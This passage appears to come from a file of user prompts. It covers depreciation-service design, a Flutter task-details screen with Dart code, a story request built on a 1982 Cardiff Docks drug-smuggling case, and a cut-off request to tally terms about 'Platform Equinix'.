35.043 2.250\n-0.488 35.116 1.800\n-0.488 35.188 3.710\n-0.488 35.260 5.970\n-0.488 35.332 6.760\n-0.488 35.404 7.150\n-0.489 35.476 8.660\n-0.489 35.548 4.980\n-0.489 35.621 4.580\n-0.489 35.693 5.100\n-0.489 35.762 0.930\n-0.489 35.832 3.000\n-0.488 35.901 1.840\n-0.488 35.971 2.600\n-0.487 36.040 1.130\n-0.487 36.109 1.100\n-0.487 36.179 -0.080\n-0.486 36.248 1.620\n-0.486 36.318 -1.230\n-0.486 36.387 0.270\n-0.485 36.457 -0.510\n-0.485 36.526 -1.420\n-0.485 36.596 -0.550\n-0.484 36.665 -0.060\n-0.484 36.735 -1.990\n-0.484 36.804 0.540\n-0.483 36.873 -0.630\n-0.483 36.943 -1.730\n-0.483 37.012 -0.990\n-0.482 37.082 -1.220\n-0.483 37.149 -1.860\n-0.483 37.217 -1.800\n-0.484 37.284 -2.100\n-0.484 37.352 0.480\n-0.484 37.419 0.350\n-0.485 37.487 -1.030\n-0.485 37.555 1.790\n-0.486 37.622 2.200\n-0.486 37.690 4.910\n-0.486 37.757 4.930\n-0.487 37.825 2.380\n-0.487 37.892 -1.060\n-0.487 37.960 -4.310\n-0.488 38.027 -8.280\n-0.488 38.095 -7.340\n-0.488 38.162 -7.760\n-0.489 38.230 -5.280\n-0.489 38.297 -2.810\n-0.489 38.365 -3.460\n-0.490 38.432 -2.320\n-0.494 38.500 -0.730\n-0.498 38.568 -0.730\n-0.503 38.635 -0.340\n-0.507 38.703 0.350\n-0.511 38.771 -0.010\n-0.516 38.838 1.770\n-0.520 38.906 0.160\n-0.524 38.974 0.270\n-0.528 39.041 -0.690\n-0.533 39.109 -2.060\n-0.537 39.177 -3.260\n-0.541 39.244 -3.330\n-0.545 39.312 -4.020\n-0.550 39.380 -1.980\n-0.554 39.447 -0.030\n-0.558 39.515 2.780\n-0.562 39.583 2.550\n-0.567 39.650 3.160\n-0.571 39.718 2.780\n-0.575 39.786 1.010\n-0.579 39.853 -0.360\n-0.580 39.923 1.080\n-0.581 39.993 0.380\n-0.582 40.063 0.070\n-0.583 40.132 -0.520\n-0.584 40.202 -0.800\n-0.584 40.272 0.440\n-0.585 40.342 -0.690\n-0.586 40.412 -0.550\n-0.587 40.481 -1.770\n-0.588 40.551 -0.810\n-0.589 40.621 -1.150\n-0.589 40.691 0.080\n-0.590 40.761 -1.100\n-0.591 40.830 -0.290\n-0.592 40.900 -0.340\n-0.593 40.970 -0.630\n-0.593 41.040 -0.940\n-0.594 41.110 1.010\n-0.595 41.179 -0.900\n-0.596 41.244 -0.870\n-0.598 41.308 -1.910\n-0.599 41.373 -0.890\n-0.600 41.437 -1.030\n-0.602 41.502 -0.010\n-0.603 41.566 2.400\n-0.604 41.631 1.020\n-0.605 41.695 1.600\n-0.607 41.760 -0.040\n-0.608 41.824 1.330\n-0.609 41.889 1.660\n-0.610 41.953 0.160\n-0.612 42.018 -0.440\n-0.613 42.082 -0.490\n-0.614 42.147 -0.930\n-0.616 42.211 -1.160\n-0.617 42.276 -0.660\n-0.618 42.340 -1.550\n-0.619 42.405 -1.590\n-0.621 42.469 -1.310\n-0.622 42.540 -1.660\n-0.624 42.611 -1.070\n-0.626 42.682 -1.760\n-0.628 42.753 -3.820\n-0.629 42.824 -2.510\n-0.631 42.895 -2.330\n-0.633 42.966 -1.270\n-0.635 43.036 2.380\n-0.636 43.107 6.410\n-0.638 43.178 8.280\n-0.640 43.249 10.740\n-0.642 43.320 9.300\n-0.643 43.391 8.320\n-0.645 43.462 5.700\n-0.647 43.532 2.150\n-0.649 43.603 2.040\n-0.650 43.674 -0.010\n-0.652 43.745 -2.420\n-0.654 43.816 -1.760\n-0.655 43.887 -1.540\n-0.656 43.955 -2.150\n-0.656 44.022 -2.050\n-0.657 44.090 -1.730\n-0.657 44.158 -3.070\n-0.657 44.225 -2.030\n-0.658 44.293 -2.090\n-0.658 44.361 -1.780\n-0.659 44.428 -1.720\n-0.659 44.496 -2.000\n-0.659 44.564 -2.850\n-0.660 44.632 -2.790\n-0.660 44.699 -2.150\n-0.661 44.767 -2.490\n-0.661 44.835 -1.390\n-0.661 44.902 -2.650\n-0.662 44.970 -2.120\n-0.662 45.038 -2.590\n-0.662 45.106 -1.140\n-0.663 45.173 -1.820\n-0.663 45.241 -2.900\n-0.667 45.308 -1.540\n-0.671 45.375 -1.250\n-0.674 45.442 -0.530\n-0.678 45.509 -0.640\n-0.682 45.575 -0.470\n-0.686 45.642 -1.570\n-0.689 45.709 -0.920\n-0.693 45.776 -2.520\n-0.697 45.843 -3.380\n-0.701 45.910 -3.220\n-0.704 45.977 -2.640\n-0.708 46.044 -2.840\n-0.712 46.111 -1.980\n-0.716 46.178 -1.170\n-0.719 46.244 -1.730\n-0.723 46.311 -1.040\n-0.727 46.378 -2.350\n-0.731 46.445 -2.620\n-0.735 46.512 -2.350\n-0.738 46.579 -1.620\n-0.742 46.648 -1.620\n-0.746 46.718 -1.280\n-0.751 46.787 -1.120\n-0.755 46.856 -1.540\n-0.759 46.925 -1.990\n-0.763 46.995 -2.000\n-0.767 47.064 -2.330\n-0.771 47.133 -1.250\n-0.775 47.203 -1.330\n-0.779 47.272 -1.740\n-0.783 47.341 -2.390\n-0.787 47.411 -2.510\n-0.791 47.480 -1.880\n-0.795 47.549 -1.410\n-0.799 47.619 -2.870\n-0.804 47.688 -1.240\n-0.808 47.757 -1.920\n-0.812 47.827 -1.640\n-0.816 47.896 -4.150\n-0.820 47.965 -1.850\n-0.820 48.039 -2.200\n-0.821 48.113 -2.570\n-0.822 48.187 -1.650\n-0.823 48.260 -1.450\n-0.823 48.334 -2.720\n-0.824 48.408 -0.800\n-0.825 48.482 -1.020\n-0.826 48.556 -3.110\n-0.826 48.629 -1.540\n-0.827 48.703 -2.080\n-0.828 48.777 -2.040\n-0.828 48.851 -1.110\n-0.829 48.925 -2.550\n-0.830 48.998 -2.000\n-0.831 49.072 -2.550\n-0.831 49.146 -1.790\n-0.832 49.220 -2.300\n-0.833 49.294 -0.240\n-0.834 49.368 1.890' -"Awesome. Asset Service will be responsible for sending asset create, update, transfer and retire events while Depreciation Service will be sending asset depreciation events. Asset Service would be sending one-off events while depreciation events may be sent in batches.\n\nThe design I've provided you earlier pretty much covers the use case for Asset Service. Now, I have to work on Asset Depreciation Service. What do you think is a good way to approach that design? What can that design look like? Here are the use cases of depreciation which might help:\nAsset Addition: Creation of Depreciation/Amortization schedule upon addition of a new asset.\nA Financial Asset is recognized (created/added) in FASL+, this addition transaction will require a Depreciation/Amortization Schedule to be created on the basis of following details: 1) Useful Life of the asset; 2) Depreciation/Amortization Method; 3) Cost of the Asset; 4) Depreciation Start Date; 5) Salvage Value (if any); 6) Periodicity\nCatch-up Depreciation: Depreciation Start Date (Prorate Date) is belonging to past calendar month/s.\nA Financial Asset is recognized in FASL+, with a Depreciation Start Date (Prorate Date) belonging to past calendar month/s.\nFor example - Current month is FEB-2023, but the depreciation start date has been provided as 01-Dec-2022. This will require catch-up calculations of depreciation/amortization for the month of Dec-2022, Jan-2023 and Feb-2023. All the accounting entries would be posted in the Current Open Period which happens to be Feb-2023.\nDepreciation Start Date (Prorate Date) is belonging to future calendar month/s.\nA Financial Asset is recognized in FASL+, with a Depreciation Start Date (Prorate Date) belonging to future calendar month/s.\nFor example - Current month is FEB-2023, but the depreciation start date has been provided as 01-Apr-2023. This situation will require no calculations of depreciation/amortization for the month of Feb-2023 and Mar-2023. The very first month, when we will calculate depreciation, create accounting entries and post it to GL would be Apr-2023.\nUseful Life Adjustment: Change in Useful Life of the asset\nThe useful life of an existing Financial Asset is adjusted in FASL+. This adjustment can be either way - positive or negative. For example an asset was initially created with a useful life of 36 months. Now after 3 (xx) months, it can be changed to 48 months (positive) or 24 months (negative).\nAdjustment in the useful life of the asset, requires reclaibration of depreciation calculation for that asset. This recalibration is defined using below two categories:\n1) Expensed Life Adjustment - Where the impact of the change in useful life, in the new depreciation calculations, is from first day of the asset (in other words from the Depreciation Start Date (Prorate Date)). This adjustment is also known as Retrospective change. This category requires recalculation of depreciation from the very first day which results in calculation of catch-up depreciation/delta (+ve/-ve) depreciation to be posted as part of current month (accounting period).\n2) Amortized Life Adjustment - Where the impact of the change in useful life, in the new depreciation calculations, is not from the first day of the asset (in other words, it can be from any date from Depreciation Start date to current month). This adjustment is also known as Prospective Change. This category requires recalculation of depreciation from the Specified Date. The depreciation calculation accomplished prior to Specified Date stays the same but catch-up/delta (+ve/-ve) is calculated after the Specified date and posted as part of current month (accounting period).\nCost Adjustment: Change in the Cost of the asset\nThe cost of an existing Financial Asset is adjusted in FASL+. This adjustment can be either way - positive or negative. For example an asset was initially created with a Origial Cost of $5000. Now after 3 (xx) months, it can be changed to $8000 (positive) or $3000 (negative).\nSimilar to Life Adjustment (explained on the above row), the Cost Adjustment of an asset, requires reclaibration of depreciation calculation for that asset. This recalibration is defined using the same two categories as shared above for Life adjustment:\n1) Expensed Cost Adjustment - Where the impact of the change in cost, in the new depreciation calculations, is from first day of the asset (in other words from the Depreciation Start Date (Prorate Date)). This adjustment is also known as Retrospective change. This category requires recalculation of depreciation from the very first day which results in calculation of catch-up depreciation/delta (+ve/-ve) depreciation to be posted as part of current month (accounting period).\n2) Amortized Cost Adjustment - Where the impact of the change in cost, in the new depreciation calculations, is not from the first day of the asset (in other words, it can be from any date from Depreciation Start date to current month). This adjustment is also known as Prospective Change. This category requires recalculation of depreciation from the Specified Date. The depreciation calculation accomplished prior to Specified Date stays the same but catch-up/delta (+ve/-ve) is calculated after the Specified date and posted as part of current month (accounting period).\nDepreciation Adjustment: Unplanned depreciation for an asset made in a specific month/accounting period.\nDepreciation adjustment is treated as a unplanned depreciation to an asset in the current month (open acounting period). The Depreciation adjustment can be also positive and negative in terms of value.\nSimilar to above two use cases (Life and Cost Adjustments), Depreciation adjustments can be also categorized as Expensed Depreciation Adjustment and Amortized Depreciation Adjustment. The definition of these two categories stays the same, as explained for Cost and Life adjustment.\nReclass (Method Adjustment): Change in Depreciation/Amortization Method\nAbility to change the depreciation/amortization method for an already existing and depreciated asset, in case of any policy changes. For example - an asset which was earlier getting amortized using STL (Straight Line) method, would be depreciated using DB (Declining Balance) method from the Specified Date. These changes are very rare and happens once in 4-5 years.\nThis type of change will retrigger the depreciation calculation from the Specified Date using the new method.\nPause Depreciation: Cease depreciation calculation on the asset.\nAbility to pause the depreciation calculations for an asset for the defined period. The period would be defined using the Pause Start Date and Pause End Date. The system is expected to stop calculating the depreciation for the asset placed on Paused status.\nWhy this is required? - These scenario occurs when we would like to account for the time lost in the transit for a transfer of asset use case; When we are no longer using an asset and finding a prospective buyer to sell it off (also known as Held-For-Sale use case); etc.\nResume Depreciation: Reactivate the depreciation calculation for the asset.\nAbility to resume depreciation for an asset, which was placed on Hold (Pause) for depreciation calculations. The system is expected to start depreciating the asset again after it is resumed for depreciation calculations.\nBonus (Accelerated) Depreciation\nNeed to confirm with users if this functionality is required.\nAsset Retirement\nUsual/Timely Retirement (NBV = 0): There is no direct impact on depreciation module/RACE in case of retirement of asset with NBV = 0. The accounting entries would be created as part of retirement event. No accounting entry to be created using depreciation module/RACE. The depreciation module/RACE should mark the asset as retired and make the accumulated depreciation amount and NBV amount as Zero.\n\nEarly Retirement (NBV >0): There is no direct impact on depreciation module/RACE in case of retiring an asset with NBV >0. The accounting entries would be created as part of retirement event. No accounting entry to be created using depreciation module/RACE. The change would happen in terms of following 4 updates items:\n- No more depreciation calculations required for this asset as its retired\n- The NBV will become Zero upon retirement\n- The accumulated depreciation amount will become Zero upon retirement\n- The asset would be marked as retired\n\nPartial Retirement (NBV>0): There is no direct depreciation accounting event generated using Depreciation Module/RACE upon Partial retirement. The change would happen in terms of following items:\n- The depreciation calculation would be reset to new NBV.\n- The Cost of the asset, accumulated depreciation of the asset would be changed to reflect the partial asset retirement.\nPreview Depreciation calculations\nAbility to preview the monthly depreciation calculations for an asset for its useful life. This is a preview of calculations as per current details of the asset." -'modify the flutter code for task details as below needs \n\nthe page view will be as sections\n 1st section \nRow1: in the left "task\\_name" in the right "task\\_id"\nRow2: in the left "related\\_to" n the right "task\\_status": \n2nd section \nrow1: "customer\\_group" on the left and "task\\_status" on right \nrow2: Creited: "task\\_created\\_date" in the left side and only date format no time \nDue: "due\\_date" in the right side only date format no time \nRow3: Assigned by "created\\_by" in the right Assigned to: "permission"\n2nd section \nRow1: title view "Task Details" bold and big size \nRow 2: "task\\_description" as a non-editable box. height varies with the length of the text and it fills the width of the page\n Row 3: The task for: "task\\_for\\_name"\n Row 4: Contact 1: "task\\_for\\_contacts1" / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nRow 5: Contact 2: "task\\_for\\_contacts2" / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nRow 6: Task location Using Google map API Lat, Long ("task\\_lat, "task\\_long") values linkable in map icon \nRow 6: "tasks\\_notes" as an editable box. height 2 lines with the length of the text and it fills the width of the page\nRow 7: bottom to change status on the right and bottom to update notes on the left side \nfor the update note will be Gary and it the changed to blue once the user modifies the note in Row 7\nfor \nTo change the status the workflow will as below the bottom text and the action be applied below \n\nIf the tasks\' status is “not\\_started” then will show only one action to In bottom to make the task “in\\_progress”\n\nIf the status is “in\\_progress” then only one action can be applied to Make it “Done” and the status will be “waiting\\_for\\_someone”, only admin type users have the option to send it back to “not\\_started”\nIf the status is “waiting\\_for\\_someone” then only admin-type users can make it Completed action will be applied to API Make to make “Completed” and the status will be “completed”\nonly admin-type users have the option to send it back to “in\\_progress”\n\n\n3rd section (show this section in the case of "merchant\\_id" is not null)\nRow1: title view "Merchant Info" bold and big size \nmerchant\\_Name: [restaurant\\_name]\nmerchant\\_phone: [restaurant\\_phone] / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nmerchant\\_contact: [contact\\_name]\nmerchant\\_contact\\_phone: [contact\\_phone] / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nmerchant\\_status [status]\nmerchant\\_admin\\_note: [admin\\_note]\n\n4th section (show this section in the case of "invoice\\_id" is not null)\nRow1: title view "Invoice Info" bold and big size \nRow2: Invoice ID: "invoice\\_id" on the right and "invoice\\_date" on the left side Row3: Amount: "amount"\nRow4: "invoice\\_URL" this will be linkable as a hyperlink bottom to open in the browse \n5th section (show this section in the case of "driver\\_id" is not null)\nRow1: title view "Driver info" bold and big size \nRow2:driver\\_Name: [first\\_name] & " " & [last\\_name] in right & driver\\_status" [status] in the left side \nRow 3: driver\\_phone: [phone] / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp \nRow 5: driver\\_admin\\_note: [admin\\_note] \n\n6th section (show this section in the case of "client\\_id" is not null)\nRow1: title view "Client info" bold and big size \nRow2:client\\_Name: [first\\_name] &" " & [last\\_name] / if null don\'t show it.\nRow3:client\\_phone: [contact\\_phone] / / should have a call icon and this will have an action to direct to make a call using mobile & have a WhatsApp icon and this will direct to make chat over WhatsApp / if null don\'t show it.\n7th section\nRow1: title view "Activities " bold and big size and here will have a dropdown view of the Activities list need to press to see the Activities \n\nlast section\nRow1: title view "Activities " bold and big size\nrow 2: dynamic list of comments as come from API\n"user\\_id" {user Name} on the left and "comment\\_datetime" in the right\nnext line "tbl\\_task\\_comment" \nseparate each comment row with a shadow line\nend of the page to be a secure chat box write inside in lite gay "Add comments"\n\nconsider the below \n-colour the status text of the task and box to change the status as \n-"in\\_progress" to be "in\\_progress" and box in orange colour\n-Waiting for approval tasks to be Waiting for approval and box in Blue color with black border\n"completed" Tasks to be n Green color\nWrite comments on the code for each code to explain it\nUse of null checks in a proper way\nenhance Error handling\nenhance the code performance\nenhance the UI and make it better as we are making todo style \nmake the code faster \nmake lite grey background color \nseparate each section in the view as a different square \n\nimport \'package:efendim\\_admin/src/Tasks%20Managment/models/task.dart\';\nimport \'package:efendim\\_admin/src/Tasks%20Managment/models/taskByCateg.dart\';\nimport \'package:efendim\\_admin/src/Tasks%20Managment/services/api\\_service.dart\';\nimport \'package:efendim\\_admin/src/Tasks%20Managment/widgets/custom\\_app\\_bar.dart\';\nimport \'package:efendim\\_admin/src/Tasks%20Managment/widgets/task\\_comments.dart\';\nimport \'package:flutter/material.dart\';\n\nimport \'../models/activity.dart\';\nimport \'../models/comment.dart\';\nimport \'../widgets/task\\_activities.dart\';\n\nclass TaskDetailsScreen extends StatefulWidget {\n final TasksList task;\n\n const TaskDetailsScreen({Key? key, required this.task}) : super(key: key);\n\n @override\n \\_TaskDetailsScreenState createState() => \\_TaskDetailsScreenState();\n}\n\nclass \\_TaskDetailsScreenState extends State {\n late TasksList \\_task;\n late List \\_comments;\n late bool \\_isLoading;\n\n @override\n void initState() {\n super.initState();\n \\_task = widget.task;\n \\_comments = [];\n \\_isLoading = false;\n \\_fetchComments();\n }\n\n @override\n Widget build(BuildContext context) {\n return Scaffold(\n appBar: CustomAppBar(\n title: \\_task.taskName,\n actions: [],\n ),\n body: SingleChildScrollView(\n child: Padding(\n padding: EdgeInsets.all(16.0),\n child: Column(\n crossAxisAlignment: CrossAxisAlignment.start,\n children: [\n Text(\n \\_task.taskDescription,\n style: TextStyle(fontSize: 18.0, fontWeight: FontWeight.bold),\n ),\n SizedBox(height: 16.0),\n Row(\n children: [\n Text(\n \'Status: ${\\_task.taskStatus}\',\n style: TextStyle(fontSize: 16.0),\n ),\n SizedBox(width: 16.0),\n Text(\n \'Created By: ${\\_task.createdBy}\',\n style: TextStyle(fontSize: 16.0),\n ),\n ],\n ),\n SizedBox(height: 16.0),\n Row(\n children: [\n Icon(Icons.calendar\\_today),\n SizedBox(width: 8.0),\n Text(\n \'Created On: ${\\_task.taskCreatedDate}\',\n style: TextStyle(fontSize: 16.0),\n ),\n ],\n ),\n SizedBox(height: 16.0),\n \\_buildDetailsTable(),\n SizedBox(height: 16.0),\n \\_buildStatusButtons(),\n SizedBox(height: 16.0),\n TaskComments(\n comments: \\_comments,\n onCommentAdded: (String comment) {\n \\_addComment(comment);\n },\n ),\n SizedBox(height: 16.0),\n TaskActivities(activities: [\n Activity(\n activityDate: DateTime.now(),\n value1: "test activ",\n activity: "Test activity",\n value2: "test value 2")\n ]),\n ],\n ),\n ),\n ),\n );\n }\n\n Widget \\_buildDetailsTable() {\n return Table(\n columnWidths: {\n 0: FlexColumnWidth(2),\n 1: FlexColumnWidth(3),\n },\n children: [\n \\_buildDetailsTableRow(\'Task ID\', \\_task.taskId.toString() ?? ""),\n \\_buildDetailsTableRow(\'Category\', \\_task.categoryId ?? ""),\n \\_buildDetailsTableRow(\n \'Start Date\', \\_task.taskStartDate.toString() ?? ""),\n \\_buildDetailsTableRow(\'Due Date\', \\_task.dueDate.toString() ?? ""),\n \\_buildDetailsTableRow(\'Progress\', \\_task.taskProgress.toString() ?? ""),\n \\_buildDetailsTableRow(\'Hour Estimate\', \\_task.taskHour.toString() ?? ""),\n \\_buildDetailsTableRow(\'Client\', \\_task.clientId ?? ""),\n \\_buildDetailsTableRow(\'Merchant\', \\_task.merchantId ?? ""),\n \\_buildDetailsTableRow(\'Driver\', \\_task.driverId ?? ""),\n ],\n );\n }\n\n TableRow \\_buildDetailsTableRow(String label, String value) {\n return TableRow(\n children: [\n Padding(\n padding: EdgeInsets.symmetric(vertical: 8.0),\n child: Text(\n label,\n style: TextStyle(fontWeight: FontWeight.bold),\n ),\n ),\n Padding(\n padding: EdgeInsets.symmetric(vertical: 8.0),\n child: Text(value),\n ),\n ],\n );\n }\n\n Widget \\_buildStatusButtons() {\n if (\\_task.taskStatus == \'Completed\') {\n return SizedBox.shrink();\n }\n\n return Row(\n mainAxisAlignment: MainAxisAlignment.spaceEvenly,\n children: [\n ElevatedButton(\n onPressed: \\_isLoading ? null : () => \\_updateStatus(\'In Progress\'),\n child: Text(\'In Progress\'),\n ),\n ElevatedButton(\n onPressed: \\_isLoading ? null : () => \\_updateStatus(\'Completed\'),\n child: Text(\'Complete\'),\n ),\n ],\n );\n }\n\n void \\_fetchComments() async {\n setState(() {\n \\_isLoading = true;\n });\n try {\n final comments =\n await ApiService().getTaskComments({}, \\_task.taskId.toString());\n\n setState(() {\n \\_comments = comments;\n });\n } catch (e) {\n // Handle error\n } finally {\n setState(() {\n \\_isLoading = false;\n });\n }\n }\n\n void \\_addComment(String comment) async {\n setState(() {\n \\_isLoading = true;\n });\n try {\n await ApiService().addTaskComment({}, \\_task.taskId.toString(), comment);\n\n setState(() {\n \\_comments.add(Comment(\n id: 1,\n comment: comment,\n createdBy: \'Me\',\n createdDate: DateTime.now(),\n ));\n });\n } catch (e) {\n // Handle error\n } finally {\n setState(() {\n \\_isLoading = false;\n });\n }\n }\n\n void \\_updateStatus(String status) async {\n setState(() {\n \\_isLoading = true;\n });\n try {\n await ApiService().updateRMTask({}, \\_task.taskId.toString(), status, \'\');\n\n setState(() {\n \\_task.taskStatus = status;\n });\n } catch (e) {\n // Handle error\n } finally {\n setState(() {\n \\_isLoading = false;\n });\n }\n }\n}' -'write me a story about The Dead Frogman of Cardiff Docks\nQueen Alexandra Dock 1974\nShipping in the Queen Alexandra Dock 1974\nOne of the most significant criminal enquiries undertaken at Cardiff Docks was a case involving large quantities of drugs brought from the West Indies. It was a lengthy investigation that began with the death of a scuba diver whose body was recovered from the Queen Alexandra Dock.\n\nDuring March 1982, several anonymous telephone calls were received about a man alleged to have gone missing while using sub-aqua diving gear at the docks. Calls were made both to the South Wales Police and to the British Transport Police at the docks, initially by a female and later by a male. With each call, more details emerged- the man was described as West Indian and the location was given as the Queen Alexandra Dock.\n\nSearches by Police Underwater Search Teams did not find anything. Visibility in the dock was extremely poor and as they worked, huge conga eels slithered and scraped past the divers- it was not a pleasant experience in the inky blackness. When HMS Cardiff put into docks on a courtesy visit the opportunity was taken for a sonar sweep to be carried out. Once again nothing was found- what happens to a human body submerged in water depends on many things and the chances of finding one were minimal.\n\nHowever, some weeks after the calls began, two tugs were assisting a ship leaving the Queen Alexandra Dock and as they took up the tow their powerful screws churned up the water and a body was flushed to the surface. It was a body dressed in sub-aqua diving gear and was showing signs of having been in the water some time. At the mortuary, with the diving gear removed, it was found to be that of a West Indian male and all the circumstances suggested that this was the missing man. The heavy diving gear may also have been why the body had not surfaced earlier. A conference between senior officers of the South Wales and British Transport Police did not find agreement on whether the death should be regarded as suspicious.\n\nThe post mortem examination was carried out by eminent pathologist Professor Sir Bernard Knight, who found it difficult to establish the cause of death. But significantly, none of the tiny microbes known as diotodes, normally present in water, were found in the bone marrow possibly indicating the deceased did not die from drowning. There were also several interesting marks on the body, the significance of which would become apparent later. A square bruise was seen on the right side of the face and a similar one on the chest. There was also an unusual wide mark on the left wrist. One other piece of vital evidence came from examination of the diving equipment; the valve on the oxygen cylinder was closed, pointing to the fact that diving had been completed by the time the death occurred.\n\nDI Vic Miller began an investigation and looked for a connection with the West Indies. The shipping line Geest operated between South Wales and the West Indies and one of their boats- the MV Geestland had been diverted into Cardiff Docks a few weeks earlier, about the time the diver had gone missing. Crucially, it had unloaded its cargo of bananas on the north side of the Queens Dock, exactly where the body had been brought to the surface by the tug! The Geestland was brought back into Cardiff and dry docked and something very significant was quickly found. A length of chain was discovered hanging below the hull near the propeller. It was about 20 feet long and on the end was a shackle secured with a nut and bolt. That answered a question that had been puzzling the officers ever since the body had been found; an unexplained spanner had been discovered tied to the wet suit chest. When the spanner was matched to the shackle, they were an exact fit. And one of the Geestland’s engineers told of hearing a strange metallic sound coming from the hull during the voyage from the West Indies. A picture was emerging and the police suspected that a container had been secured to the ship’s hull before the vessel left the West Indies and was to be recovered when the ship arrived in the UK. The dead diver was apparently part of a well-organised drug running syndicate!\n\nFollowing a different line of enquiry, the man who had made the anonymous calls was traced and he identified the deceased as his friend- Peter Macdonald Jones. The dead man’s mother told police that he had had a girlfriend known as ‘The Duchess’ who worked at a department store in Reading. At the store, a former employee was tracked to South Wales and enquiries at a store in Cardiff found that a new member of staff had recently been distressed; she had confided to a colleague that her boyfriend had died. Back in Reading, enquiries established that there were connections to some fairly undesirable people involved in the local drug scene.\n\nThe woman, known as ‘The Duchess’, was arrested and immediately lied about her identity. Realising she may have made a mistake she fell silent and remained that way throughout an initial interview. She was taken home for a search of her flat in Newport. At first, nothing incriminating was found nor was there anything to link her to Peter Jones or even to Reading. Seemingly, she was a woman without a past but as the search progressed, officers noticed that the only indication of any wealth in the flat were two original paintings by L.S. Lowery on the lounge wall. DI Miller examined the paintings and took the back off them. Between the canvas and the backboard of one was a photograph of Peter Jones and in the second was a photograph of her and Peter together. Here was the connection the police had been searching for.\n\nWith her boyfriend dead, The Duchess could see that she had nowhere else to go and her best option now was to help the police. Over time, DI Vic Miller established a rapport and her story was slowly unravelled; it proved to be a revealing story indeed. She had been set up in the flat by her boyfriend, Peter Jones, and his associate, James Timothy for the purpose of providing ‘a safe house’ for drug importation operations in South Wales. Jones was a married man and lived in Reading as did Timothy, who was believed to be heavily involved in the drugs underworld. Almost every month she would meet the two men and a canister of drugs would be recovered from a ship bringing bananas from the West Indies. She would fetch the drugs from the docks and drive them to an address in Reading, having been given a cover story in case she was stopped. The operation had been going on for nearly five years, and each consignment meant anything up to £500,000 in street value. It was understood that no-one involved in the drug trafficking should display any outward sign of wealth. Recently though, Peter Jones had begun to deviate from the rules and shortly before he died he had put down a £5,000 deposit on a Porsche motor car. He had also purchased a plot of land in a residential area in Barbados and was having a bungalow built. It was not a wise move; Timothy had learned of the deposit on the car from an associate in Reading\n\nBoth Timothy and Jones were experienced divers and on that March night in 1982 they set out on one more drug recovery operation from beneath a ship. They were probably expecting the Geestland to be at Barry Docks but bad weather made Cardiff a preferred option. It was a foul night when The Duchess drove Peter Jones and James Timothy to Cardiff Docks- a gale was blowing and it was lashing with rain- in many respects perfect conditions to undertake their hazardous activity, safe from casual observation. The men changed into their diving gear and as usual it was arranged they would be dropped off by The Duchess who would return later to avoid having the car attract attention. Through the rain and the darkness, she watched them descend the steps into the uninviting water and then left; she would not see Peter Jones again.\n\nThe Duchess returned at the prearranged time but Timothy came back to the car alone. He had his diving kit but there was no sign of any drugs and he was vague and evasive about what had happened to Peter Jones. As they waited for around half an hour The Duchess became angry and began to panic, believing that Timothy had done something to him. Eventually, she drove Timothy to Newport, intending to go back and look for Jones in daylight. Timothy led her to believe that an argument had taken place about the drugs and that he had ended up hitting Jones with a lead diving belt and he had fallen back into the water. Timothy had returned to the car believing that Jones would get out alright, but obviously he had not. The Duchess made enquiries herself amongst other drug dealers to see if Jones had been heard of but she did not go as far as reporting her missing man to the police.\n\nWith the discovery of the body the investigation had intensified. One aspect concentrated on the enquiry to trace and interview Timothy, whilst others took on many of the other lines of enquiry including the Reading connection. Many long hours were spent as enquiries spread the length and breadth of the land. Officers learnt that both Peter Jones and James Timothy had contacts in the West Indies and had recently visited the islands. There was evidence that Timothy and Jones had been associates for ten years at least and both had bought diving equipment from the same shop in Falmouth five years previously.\n\nBy the middle of June, Timothy had been arrested, taken to Cardiff and interviewed at the BTP Divisional HQ. But throughout the interview he made no reply except to indicate he did not wish to answer questions. His reply was always the same and he never once lost his cool or became perturbed- he simply remained silent. Despite the serious allegations, Timothy was allowed bail and was interviewed on a further five or six occasions. The only variation from his veil of silence was an occasional stock answer- “I have never murdered anyone in my life. I have the highest regard for human life.”\n\nThe truth about the events that took place in the dark on the quayside at the Queen Alexandra Dock between Jones and Timothy has never been established. The police investigation had always been led with a murder or manslaughter charge in mind but although there was plenty of circumstantial evidence it was insufficient to bring a charge of homicide. No drugs were ever recovered by the police as a result of this incident, nor were any seen by The Duchess when she collected Timothy. It is not beyond the realms of possibility that there were no drugs there to be recovered. Had Jones or someone else intercepted the haul when the vessel was at an American port during its voyage? And if this was not the first consignment to go missing, was someone doing a bit of freelance work, in the USA perhaps? It may be significant that Jones’ passport showed that he had recently returned to the UK from Barbados via Florida.\n\nJames Timothy was charged with conspiring with Peter Macdonald Jones and others to import controlled drugs at Cardiff Docks. He pleaded not guilty at Cardiff Crown Court but was convicted and sentenced to 7 years imprisonment. No person was ever charged in connection with the death of Peter Macdonald Jones, the dead frogman of Cardiff Docks.' -'Please prepare a list of terms mentioned in this text and the frequency with which they were mentioned in a table format \n\n1. Brandi\n • Platform\n \n2. Bruce\n • What DON’T we mean by “platform” \n • Simple- digital consumption models adapted to various buying personas (eg. channel, direct, PLG)\n • Obvious- leverage the already existing physical platform (scale and reach, ecosystems, interconnection, operational excellence)\n \n3. Charles\n • Platform\n Platform Equinix is comprised of Equinix Service Offers that are typically combined with and interconnected to services from Ecosystem Partners (via a Marketplace in the future) to create Customer Solutions. These services and partners reside in IBXs, located at The Digital Edge and are delivered through a combination of Physical Experience and Digital Experience elements supported by Processes, Software Systems and Enabling Tools. [Platform Elements]\n \n Platform services are consumed by Users who can be Direct Buyers (PLG) and who typically act as Influencers for larger scale Corporate Buyers. [Personas]\n \n Equinix brings its platform value to market through a combination of Product Led Growth, Full-Service Selling and Channel Led motions. [GTM Motions]\n \n • Equinix Service Offers\n ○ Ecosystem Partners\n ○ Marketplace\n ○ Customer Solutions\n ○ The Digital Edge\n • Physical Experience\n • Digital Experience\n \n • Processes\n • Software Systems\n • Enabling Tools\n • Users\n • Direct Buyers\n • Influencers\n • Corporate Buyers\n • Product Led Growth\n • Full-Service Selling\n • Channel Led\n\n Each of the above requires clear definition, a prioritize plan of action and accountability to deliver.\n4. Jon\n • Composable\n • Programmable\n \n \n5. Justin\n • “Platform Equinix”\n • “The world’s digital infrastructure company”\n • Distributed infrastructure: A deployment model where applications, or their components (compute, networking or storage) run across a distributed environment, 